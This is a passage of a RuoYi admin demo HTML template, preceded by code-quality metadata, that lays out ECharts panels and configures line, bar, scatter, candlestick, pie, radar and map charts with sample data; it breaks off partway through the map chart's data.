"qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.03891051, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.21011673, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/report/echarts.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro"> <head> <th:block th:include="include :: header('百度ECharts')" /> </head> <body class="gray-bg"> <div class="row border-bottom white-bg dashboard-header"> <div class="col-sm-12"> <p>ECharts开源来自百度商业前端数据可视化团队,基于html5 Canvas,是一个纯Javascript图表库,提供直观,生动,可交互,可个性化定制的数据可视化图表。创新的拖拽重计算、数据视图、值域漫游等特性大大增强了用户体验,赋予了用户对数据进行挖掘、整合的能力。 <a href="https://echarts.apache.org/handbook/zh/get-started/" target="_blank">了解更多</a> </p> <p>ECharts官网:<a href="https://echarts.apache.org/" target="_blank">https://echarts.apache.org/</a> </p> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>折线图</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="echarts" id="echarts-line-chart"></div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>柱状图</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="echarts" id="echarts-bar-chart"></div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>散点图</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="echarts" id="echarts-scatter-chart"></div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>K线图</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="echarts" id="echarts-k-chart"></div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>饼状图</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="echarts" id="echarts-pie-chart"></div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>雷达图</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="echarts" id="echarts-radar-chart"></div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>仪表盘</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="echarts" id="echarts-gauge-chart"></div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>漏斗图</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="echarts" id="echarts-funnel-chart"></div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>中国地图</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div style="height:600px" id="echarts-map-chart"></div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block th:include="include :: echarts-js" /> <script type="text/javascript"> $(function () { var lineChart = echarts.init(document.getElementById("echarts-line-chart")); var lineoption = { title : { text: '未来一周气温变化' }, tooltip : { trigger: 'axis' }, legend: { data:['最高气温','最低气温'] }, grid:{ x:40, x2:40, y2:24 }, calculable : true, xAxis : [ { type : 'category', boundaryGap : false, data : ['周一','周二','周三','周四','周五','周六','周日'] } ], yAxis : [ { type : 'value', axisLabel : { formatter: '{value} °C' } } ], series : [ { name:'最高气温', type:'line', data:[11, 11, 15, 13, 12, 13, 10], markPoint : { data : [ {type : 'max', name: '最大值'}, {type : 'min', name: '最小值'} ] }, markLine : { data : [ {type : 'average', name: '平均值'} ] } }, { name:'最低气温', type:'line', data:[1, -2, 2, 5, 3, 2, 0], markPoint : { data : [ {name : '周最低', value : -2, xAxis: 1, yAxis: -1.5} ] }, markLine : { data : [ {type : 'average', name : '平均值'} ] } } ] }; lineChart.setOption(lineoption); $(window).resize(lineChart.resize); var barChart = echarts.init(document.getElementById("echarts-bar-chart")); var baroption = { title : { text: '某地区蒸发量和降水量' }, tooltip : { trigger: 'axis' }, legend: { data:['蒸发量','降水量'] }, grid:{ x:30, x2:40, y2:24 }, calculable : true, xAxis : [ { type : 'category', data : ['1月','2月','3月','4月','5月','6月','7月','8月','9月','10月','11月','12月'] } ], yAxis : [ { type : 'value' } ], series : [ { name:'蒸发量', type:'bar', data:[2.0, 4.9, 7.0, 23.2, 25.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3], markPoint : { data : [ {type : 'max', name: '最大值'}, {type : 'min', name: '最小值'} ] }, markLine : { data : [ {type : 'average', name: '平均值'} ] } }, { name:'降水量', type:'bar', data:[2.6, 5.9, 9.0, 26.4, 28.7, 70.7, 175.6, 182.2, 48.7, 18.8, 6.0, 2.3], markPoint : { data : [ {name : '年最高', value : 182.2, xAxis: 7, yAxis: 183, symbolSize:18}, {name : '年最低', value : 2.3, xAxis: 11, yAxis: 3} ] }, markLine : { data : [ {type : 'average', name : '平均值'} ] } } ] }; barChart.setOption(baroption); window.onresize = barChart.resize; var scatterChart = echarts.init(document.getElementById("echarts-scatter-chart")); var scatteroption = { title : { text: '男性女性身高体重分布', subtext: '抽样调查来自: Heinz 2003' }, tooltip : { trigger: 'axis', showDelay : 0, axisPointer:{ type : 'cross', lineStyle: { type : 'dashed', width : 1 } } }, legend: { data:['女性','男性'] }, grid:{ x:45, x2:40, y2:24 }, xAxis : [ { type : 'value', scale:true, axisLabel : { formatter: '{value} cm' } } ], yAxis : [ { type : 'value', scale:true, axisLabel : { formatter: '{value} kg' } } ], series : [ { name:'女性', type:'scatter', tooltip : { trigger: 'item', formatter : function (params) { if (params.value.length > 1) { return params.seriesName + ' :<br/>' + params.value[0] + 'cm ' + params.value[1] + 'kg '; } else { return params.seriesName + ' :<br/>' + params.name + ' : ' + params.value + 'kg '; } } }, data: [ [161.2, 51.6], [167.5, 59.0], [159.5, 49.2], [157.0, 63.0], [155.8, 53.6], [170.0, 59.0], [159.1, 47.6], [166.0, 69.8], [176.2, 66.8], [160.2, 75.2], [172.5, 55.2], [170.9, 54.2], [172.9, 62.5], [153.4, 42.0], [160.0, 50.0], [147.2, 49.8], [168.2, 49.2], [175.0, 73.2], [157.0, 47.8], [167.6, 68.8], [159.5, 50.6], [175.0, 82.5], [166.8, 57.2], [176.5, 87.8], [170.2, 72.8], [174.0, 54.5], [173.0, 59.8], [179.9, 67.3], [170.5, 67.8], [160.0, 47.0], [154.4, 46.2], [162.0, 55.0], [176.5, 83.0], [160.0, 54.4], [152.0, 45.8], [162.1, 53.6], [170.0, 73.2], [160.2, 52.1], [161.3, 67.9], [166.4, 56.6], [168.9, 62.3], [163.8, 58.5], [167.6, 54.5], [160.0, 50.2], [161.3, 60.3], [167.6, 58.3], [165.1, 56.2], [160.0, 50.2], [170.0, 72.9], [157.5, 59.8], [167.6, 61.0], [160.7, 69.1], [163.2, 55.9], [152.4, 46.5], [157.5, 54.3], [168.3, 54.8], [180.3, 60.7], [165.5, 60.0], [165.0, 62.0], [164.5, 60.3], [156.0, 52.7], [160.0, 74.3], [163.0, 62.0], [165.7, 73.1], [161.0, 80.0], [162.0, 54.7], [166.0, 53.2], [174.0, 75.7], [172.7, 61.1], [167.6, 55.7], [151.1, 48.7], [164.5, 52.3], [163.5, 50.0], [152.0, 59.3], [169.0, 62.5], [164.0, 55.7], [161.2, 54.8], [155.0, 45.9], [170.0, 70.6], [176.2, 67.2], [170.0, 69.4], [162.5, 58.2], [170.3, 64.8], [164.1, 71.6], [169.5, 52.8], [163.2, 59.8], [154.5, 49.0], [159.8, 50.0], [173.2, 69.2], [170.0, 55.9], [161.4, 63.4], [169.0, 58.2], [166.2, 58.6], [159.4, 45.7], [162.5, 52.2], [159.0, 48.6], [162.8, 57.8], [159.0, 55.6], [179.8, 66.8], [162.9, 59.4], [161.0, 53.6], [151.1, 73.2], [168.2, 53.4], [168.9, 69.0], [173.2, 58.4], [171.8, 56.2], [178.0, 70.6], [164.3, 59.8], [163.0, 72.0], [168.5, 65.2], [166.8, 56.6], [172.7, 105.2], [163.5, 51.8], [169.4, 63.4], [167.8, 59.0], [159.5, 47.6], [167.6, 63.0], [161.2, 55.2], [160.0, 45.0], [163.2, 54.0], [162.2, 50.2], [161.3, 60.2], [149.5, 44.8], [157.5, 58.8], [163.2, 56.4], [172.7, 62.0], [155.0, 49.2], [156.5, 67.2], [164.0, 53.8], [160.9, 54.4], [162.8, 58.0], [167.0, 59.8], [160.0, 54.8], [160.0, 43.2], [168.9, 60.5], [158.2, 46.4], [156.0, 64.4], [160.0, 48.8], [167.1, 62.2], [158.0, 55.5], [167.6, 57.8], [156.0, 54.6], [162.1, 59.2], [173.4, 52.7], [159.8, 53.2], [170.5, 64.5], [159.2, 51.8], [157.5, 56.0], [161.3, 63.6], [162.6, 63.2], [160.0, 59.5], [168.9, 56.8], [165.1, 64.1], [162.6, 50.0], [165.1, 72.3], [166.4, 55.0], [160.0, 55.9], [152.4, 60.4], [170.2, 69.1], [162.6, 84.5], [170.2, 55.9], [158.8, 55.5], [172.7, 69.5], [167.6, 76.4], [162.6, 61.4], [167.6, 65.9], [156.2, 58.6], [175.2, 66.8], [172.1, 56.6], [162.6, 58.6], [160.0, 55.9], [165.1, 59.1], [182.9, 81.8], [166.4, 70.7], [165.1, 56.8], [177.8, 60.0], [165.1, 58.2], [175.3, 72.7], [154.9, 54.1], [158.8, 49.1], [172.7, 75.9], [168.9, 55.0], [161.3, 57.3], [167.6, 55.0], [165.1, 65.5], [175.3, 65.5], [157.5, 48.6], [163.8, 58.6], [167.6, 63.6], [165.1, 55.2], [165.1, 62.7], [168.9, 56.6], [162.6, 53.9], [164.5, 63.2], [176.5, 73.6], [168.9, 62.0], [175.3, 63.6], [159.4, 53.2], [160.0, 53.4], [170.2, 55.0], [162.6, 70.5], [167.6, 54.5], [162.6, 54.5], [160.7, 55.9], [160.0, 59.0], [157.5, 63.6], [162.6, 54.5], [152.4, 47.3], [170.2, 67.7], [165.1, 80.9], [172.7, 70.5], [165.1, 60.9], [170.2, 63.6], [170.2, 54.5], [170.2, 59.1], [161.3, 70.5], [167.6, 52.7], [167.6, 62.7], [165.1, 86.3], [162.6, 66.4], [152.4, 67.3], [168.9, 63.0], [170.2, 73.6], [175.2, 62.3], [175.2, 57.7], [160.0, 55.4], [165.1, 104.1], [174.0, 55.5], [170.2, 77.3], [160.0, 80.5], [167.6, 64.5], [167.6, 72.3], [167.6, 61.4], [154.9, 58.2], [162.6, 81.8], [175.3, 63.6], [171.4, 53.4], [157.5, 54.5], [165.1, 53.6], [160.0, 60.0], [174.0, 73.6], [162.6, 61.4], [174.0, 55.5], [162.6, 63.6], [161.3, 60.9], [156.2, 60.0], [149.9, 46.8], [169.5, 57.3], [160.0, 64.1], [175.3, 63.6], [169.5, 67.3], [160.0, 75.5], [172.7, 68.2], [162.6, 61.4], [157.5, 76.8], [176.5, 71.8], [164.4, 55.5], [160.7, 48.6], [174.0, 66.4], [163.8, 67.3] ], markPoint : { data : [ {type : 'max', name: '最大值'}, {type : 'min', name: '最小值'} ] }, markLine : { data : [ {type : 'average', name: '平均值'} ] } }, { name:'男性', type:'scatter', tooltip : { trigger: 'item', formatter : function (params) { if (params.value.length > 1) { return params.seriesName + ' :<br/>' + params.value[0] + 'cm ' + params.value[1] + 'kg '; } else { return params.seriesName + ' :<br/>' + params.name + ' : ' + params.value + 'kg '; } } }, data: [ [174.0, 65.6], [175.3, 71.8], [193.5, 80.7], [186.5, 72.6], [187.2, 78.8], [181.5, 74.8], [184.0, 86.4], [184.5, 78.4], [175.0, 62.0], [184.0, 81.6], [180.0, 76.6], [177.8, 83.6], [192.0, 90.0], [176.0, 74.6], [174.0, 71.0], [184.0, 79.6], [192.7, 93.8], [171.5, 70.0], [173.0, 72.4], [176.0, 85.9], [176.0, 78.8], [180.5, 77.8], [172.7, 66.2], [176.0, 86.4], [173.5, 81.8], [178.0, 89.6], [180.3, 82.8], [180.3, 76.4], [164.5, 63.2], [173.0, 60.9], [183.5, 74.8], [175.5, 70.0], [188.0, 72.4], [189.2, 84.1], [172.8, 69.1], [170.0, 59.5], [182.0, 67.2], [170.0, 61.3], [177.8, 68.6], [184.2, 80.1], [186.7, 87.8], [171.4, 84.7], [172.7, 73.4], [175.3, 72.1], [180.3, 82.6], [182.9, 88.7], [188.0, 84.1], [177.2, 94.1], [172.1, 74.9], [167.0, 59.1], [169.5, 75.6], [174.0, 86.2], [172.7, 75.3], [182.2, 87.1], [164.1, 55.2], [163.0, 57.0], [171.5, 61.4], [184.2, 76.8], [174.0, 86.8], [174.0, 72.2], [177.0, 71.6], [186.0, 84.8], [167.0, 68.2], [171.8, 66.1], [182.0, 72.0], [167.0, 64.6], [177.8, 74.8], [164.5, 70.0], [192.0, 101.6], [175.5, 63.2], [171.2, 79.1], [181.6, 78.9], [167.4, 67.7], [181.1, 66.0], [177.0, 68.2], [174.5, 63.9], [177.5, 72.0], [170.5, 56.8], [182.4, 74.5], [197.1, 90.9], [180.1, 93.0], [175.5, 80.9], [180.6, 72.7], [184.4, 68.0], [175.5, 70.9], [180.6, 72.5], [177.0, 72.5], [177.1, 83.4], [181.6, 75.5], [176.5, 73.0], [175.0, 70.2], [174.0, 73.4], [165.1, 70.5], [177.0, 68.9], [192.0, 102.3], [176.5, 68.4], [169.4, 65.9], [182.1, 75.7], [179.8, 84.5], [175.3, 87.7], [184.9, 86.4], [177.3, 73.2], [167.4, 53.9], [178.1, 72.0], [168.9, 55.5], [157.2, 58.4], [180.3, 83.2], [170.2, 72.7], [177.8, 64.1], [172.7, 72.3], [165.1, 65.0], [186.7, 86.4], [165.1, 65.0], [174.0, 88.6], [175.3, 84.1], [185.4, 66.8], [177.8, 75.5], [180.3, 93.2], [180.3, 82.7], [177.8, 58.0], [177.8, 79.5], [177.8, 78.6], [177.8, 71.8], [177.8, 116.4], [163.8, 72.2], [188.0, 83.6], [198.1, 85.5], [175.3, 90.9], [166.4, 85.9], [190.5, 89.1], [166.4, 75.0], [177.8, 77.7], [179.7, 86.4], [172.7, 90.9], [190.5, 73.6], [185.4, 76.4], [168.9, 69.1], [167.6, 84.5], [175.3, 64.5], [170.2, 69.1], [190.5, 108.6], [177.8, 86.4], [190.5, 80.9], [177.8, 87.7], [184.2, 94.5], [176.5, 80.2], [177.8, 72.0], [180.3, 71.4], [171.4, 72.7], [172.7, 84.1], [172.7, 76.8], [177.8, 63.6], [177.8, 80.9], [182.9, 80.9], [170.2, 85.5], [167.6, 68.6], [175.3, 67.7], [165.1, 66.4], [185.4, 102.3], [181.6, 70.5], [172.7, 95.9], [190.5, 84.1], [179.1, 87.3], [175.3, 71.8], [170.2, 65.9], [193.0, 95.9], [171.4, 91.4], [177.8, 81.8], [177.8, 96.8], [167.6, 69.1], [167.6, 82.7], [180.3, 75.5], [182.9, 79.5], [176.5, 73.6], [186.7, 91.8], [188.0, 84.1], [188.0, 85.9], [177.8, 81.8], [174.0, 82.5], [177.8, 80.5], [171.4, 70.0], [185.4, 81.8], [185.4, 84.1], [188.0, 90.5], [188.0, 91.4], [182.9, 89.1], [176.5, 85.0], [175.3, 69.1], [175.3, 73.6], [188.0, 80.5], [188.0, 82.7], [175.3, 86.4], [170.5, 67.7], [179.1, 92.7], [177.8, 93.6], [175.3, 70.9], [182.9, 75.0], [170.8, 93.2], [188.0, 93.2], [180.3, 77.7], [177.8, 61.4], [185.4, 94.1], [168.9, 75.0], [185.4, 83.6], [180.3, 85.5], [174.0, 73.9], [167.6, 66.8], [182.9, 87.3], [160.0, 72.3], [180.3, 88.6], [167.6, 75.5], [186.7, 101.4], [175.3, 91.1], [175.3, 67.3], [175.9, 77.7], [175.3, 81.8], [179.1, 75.5], [181.6, 84.5], [177.8, 76.6], [182.9, 85.0], [177.8, 102.5], [184.2, 77.3], [179.1, 71.8], [176.5, 87.9], [188.0, 94.3], [174.0, 70.9], [167.6, 64.5], [170.2, 77.3], [167.6, 72.3], [188.0, 87.3], [174.0, 80.0], [176.5, 82.3], [180.3, 73.6], [167.6, 74.1], [188.0, 85.9], [180.3, 73.2], [167.6, 76.3], [183.0, 65.9], [183.0, 90.9], [179.1, 89.1], [170.2, 62.3], [177.8, 82.7], [179.1, 79.1], [190.5, 98.2], [177.8, 84.1], [180.3, 83.2], [180.3, 83.2] ], markPoint : { data : [ {type : 'max', name: '最大值'}, {type : 'min', name: '最小值'} ] }, markLine : { data : [ {type : 'average', name: '平均值'} ] } } ] }; scatterChart.setOption(scatteroption); $(window).resize(scatterChart.resize); var kChart = echarts.init(document.getElementById("echarts-k-chart")); var koption = { title : { text: '2013年上半年上证指数' }, tooltip : { trigger: 'axis', formatter: function (params) { var res = params[0].seriesName + ' ' + params[0].name; res += '<br/> 开盘 : ' + params[0].value[0] + ' 最高 : ' + params[0].value[3]; res += '<br/> 收盘 : ' + params[0].value[1] + ' 最低 : ' + params[0].value[2]; return res; } }, legend: { data:['上证指数'] }, grid:{ x:40, x2:2 }, dataZoom : { show : true, realtime: true, start : 50, end : 100 }, xAxis : [ { type : 'category', boundaryGap : true, axisTick: {onGap:false}, splitLine: {show:false}, data : [ "2013/1/24", "2013/1/25", "2013/1/28", "2013/1/29", "2013/1/30", "2013/1/31", "2013/2/1", "2013/2/4", "2013/2/5", "2013/2/6", "2013/2/7", "2013/2/8", "2013/2/18", "2013/2/19", "2013/2/20", "2013/2/21", "2013/2/22", "2013/2/25", "2013/2/26", "2013/2/27", "2013/2/28", "2013/3/1", "2013/3/4", "2013/3/5", "2013/3/6", "2013/3/7", "2013/3/8", "2013/3/11", "2013/3/12", "2013/3/13", "2013/3/14", "2013/3/15", "2013/3/18", "2013/3/19", "2013/3/20", "2013/3/21", "2013/3/22", "2013/3/25", "2013/3/26", "2013/3/27", "2013/3/28", "2013/3/29", "2013/4/1", "2013/4/2", "2013/4/3", "2013/4/8", "2013/4/9", "2013/4/10", "2013/4/11", "2013/4/12", "2013/4/15", "2013/4/16", "2013/4/17", "2013/4/18", "2013/4/19", "2013/4/22", "2013/4/23", "2013/4/24", "2013/4/25", "2013/4/26", "2013/5/2", "2013/5/3", "2013/5/6", "2013/5/7", "2013/5/8", "2013/5/9", "2013/5/10", "2013/5/13", "2013/5/14", "2013/5/15", "2013/5/16", "2013/5/17", "2013/5/20", "2013/5/21", "2013/5/22", "2013/5/23", "2013/5/24", "2013/5/27", "2013/5/28", "2013/5/29", "2013/5/30", "2013/5/31", "2013/6/3", "2013/6/4", "2013/6/5", "2013/6/6", "2013/6/7", "2013/6/13" ] } ], yAxis : [ { type : 'value', scale:true, boundaryGap: [0.01, 0.01] } ], series : [ { name:'上证指数', type:'k', data:[ // 开盘,收盘,最低,最高 [2320.26,2302.6,2287.3,2362.94], [2300,2291.3,2288.26,2308.38], [2295.35,2346.5,2295.35,2346.92], [2347.22,2358.98,2337.35,2363.8], [2360.75,2382.48,2347.89,2383.76], [2383.43,2385.42,2371.23,2391.82], [2377.41,2419.02,2369.57,2421.15], [2425.92,2428.15,2417.58,2440.38], [2411,2433.13,2403.3,2437.42], [2432.68,2434.48,2427.7,2441.73], [2430.69,2418.53,2394.22,2433.89], [2416.62,2432.4,2414.4,2443.03], [2441.91,2421.56,2415.43,2444.8], [2420.26,2382.91,2373.53,2427.07], [2383.49,2397.18,2370.61,2397.94], [2378.82,2325.95,2309.17,2378.82], [2322.94,2314.16,2308.76,2330.88], [2320.62,2325.82,2315.01,2338.78], [2313.74,2293.34,2289.89,2340.71], [2297.77,2313.22,2292.03,2324.63], [2322.32,2365.59,2308.92,2366.16], [2364.54,2359.51,2330.86,2369.65], [2332.08,2273.4,2259.25,2333.54], [2274.81,2326.31,2270.1,2328.14], [2333.61,2347.18,2321.6,2351.44], [2340.44,2324.29,2304.27,2352.02], [2326.42,2318.61,2314.59,2333.67], [2314.68,2310.59,2296.58,2320.96], [2309.16,2286.6,2264.83,2333.29], [2282.17,2263.97,2253.25,2286.33], [2255.77,2270.28,2253.31,2276.22], [2269.31,2278.4,2250,2312.08], [2267.29,2240.02,2239.21,2276.05], [2244.26,2257.43,2232.02,2261.31], [2257.74,2317.37,2257.42,2317.86], [2318.21,2324.24,2311.6,2330.81], [2321.4,2328.28,2314.97,2332], [2334.74,2326.72,2319.91,2344.89], [2318.58,2297.67,2281.12,2319.99], [2299.38,2301.26,2289,2323.48], [2273.55,2236.3,2232.91,2273.55], [2238.49,2236.62,2228.81,2246.87], [2229.46,2234.4,2227.31,2243.95], [2234.9,2227.74,2220.44,2253.42], [2232.69,2225.29,2217.25,2241.34], [2196.24,2211.59,2180.67,2212.59], [2215.47,2225.77,2215.47,2234.73], [2224.93,2226.13,2212.56,2233.04], [2236.98,2219.55,2217.26,2242.48], [2218.09,2206.78,2204.44,2226.26], [2199.91,2181.94,2177.39,2204.99], [2169.63,2194.85,2165.78,2196.43], [2195.03,2193.8,2178.47,2197.51], [2181.82,2197.6,2175.44,2206.03], [2201.12,2244.64,2200.58,2250.11], [2236.4,2242.17,2232.26,2245.12], [2242.62,2184.54,2182.81,2242.62], [2187.35,2218.32,2184.11,2226.12], [2213.19,2199.31,2191.85,2224.63], [2203.89,2177.91,2173.86,2210.58], [2170.78,2174.12,2161.14,2179.65], [2179.05,2205.5,2179.05,2222.81], [2212.5,2231.17,2212.5,2236.07], [2227.86,2235.57,2219.44,2240.26], [2242.39,2246.3,2235.42,2255.21], [2246.96,2232.97,2221.38,2247.86], [2228.82,2246.83,2225.81,2247.67], [2247.68,2241.92,2231.36,2250.85], [2238.9,2217.01,2205.87,2239.93], [2217.09,2224.8,2213.58,2225.19], [2221.34,2251.81,2210.77,2252.87], [2249.81,2282.87,2248.41,2288.09], [2286.33,2299.99,2281.9,2309.39], [2297.11,2305.11,2290.12,2305.3], [2303.75,2302.4,2292.43,2314.18], [2293.81,2275.67,2274.1,2304.95], [2281.45,2288.53,2270.25,2292.59], [2286.66,2293.08,2283.94,2301.7], [2293.4,2321.32,2281.47,2322.1], [2323.54,2324.02,2321.17,2334.33], [2316.25,2317.75,2310.49,2325.72], [2320.74,2300.59,2299.37,2325.53], [2300.21,2299.25,2294.11,2313.43], [2297.1,2272.42,2264.76,2297.1], [2270.71,2270.93,2260.87,2276.86], [2264.43,2242.11,2240.07,2266.69], [2242.26,2210.9,2205.07,2250.63], [2190.1,2148.35,2126.22,2190.1] ] } ] }; kChart.setOption(koption); $(window).resize(kChart.resize); var pieChart = echarts.init(document.getElementById("echarts-pie-chart")); var pieoption = { title : { text: '某站点用户访问来源', subtext: '纯属虚构', x:'center' }, tooltip : { trigger: 'item', formatter: "{a} <br/>{b} : {c} ({d}%)" }, legend: { orient : 'vertical', x : 'left', data:['直接访问','邮件营销','联盟广告','视频广告','搜索引擎'] }, calculable : true, series : [ { name:'访问来源', type:'pie', radius : '55%', center: ['50%', '60%'], data:[ {value:335, name:'直接访问'}, {value:310, name:'邮件营销'}, {value:234, name:'联盟广告'}, {value:135, name:'视频广告'}, {value:1548, name:'搜索引擎'} ] } ] }; pieChart.setOption(pieoption); $(window).resize(pieChart.resize); var radarChart = echarts.init(document.getElementById("echarts-radar-chart")); var radaroption = { title : { text: '预算 vs 开销', subtext: '纯属虚构' }, tooltip : { trigger: 'axis' }, legend: { orient : 'vertical', x : 'right', y : 'bottom', data:['预算分配','实际开销'] }, polar : [ { indicator : [ { text: '销售', max: 6000}, { text: '管理', max: 16000}, { text: '信息技术', max: 30000}, { text: '客服', max: 38000}, { text: '研发', max: 52000}, { text: '市场', max: 25000} ] } ], calculable : true, series : [ { name: '预算 vs 开销', type: 'radar', data : [ { value : [4300, 10000, 28000, 35000, 50000, 19000], name : '预算分配' }, { value : [5000, 14000, 28000, 31000, 42000, 21000], name : '实际开销' } ] } ] }; radarChart.setOption(radaroption); $(window).resize(radarChart.resize); var mapChart = echarts.init(document.getElementById("echarts-map-chart")); var mapoption = { title : { text: 'iphone销量', subtext: '纯属虚构', x:'center' }, tooltip : { trigger: 'item' }, legend: { orient: 'vertical', x:'left', data:['iphone3','iphone4','iphone5'] }, dataRange: { min: 0, max: 2500, x: 'left', y: 'bottom', text:['高','低'], // 文本,默认为数值文本 calculable : true }, toolbox: { show: true, orient : 'vertical', x: 'right', y: 'center', feature : { mark : {show: true}, dataView : {show: true, readOnly: false}, restore : {show: true}, saveAsImage : {show: true} } }, roamController: { show: true, x: 'right', mapTypeControl: { 'china': true } }, series : [ { name: 'iphone3', type: 'map', mapType: 'china', roam: false, itemStyle:{ normal:{label:{show:true}}, emphasis:{label:{show:true}} }, data:[ {name: '北京',value: Math.round(Math.random()*1000)}, {name: '天津',value: Math.round(Math.random()*1000)}, {name: '上海',value: Math.round(Math.random()*1000)}, {name: '重庆',value: Math.round(Math.random()*1000)}, {name: '河北',value: Math.round(Math.random()*1000)}, {name: '河南',value: Math.round(Math.random()*1000)}, {name: 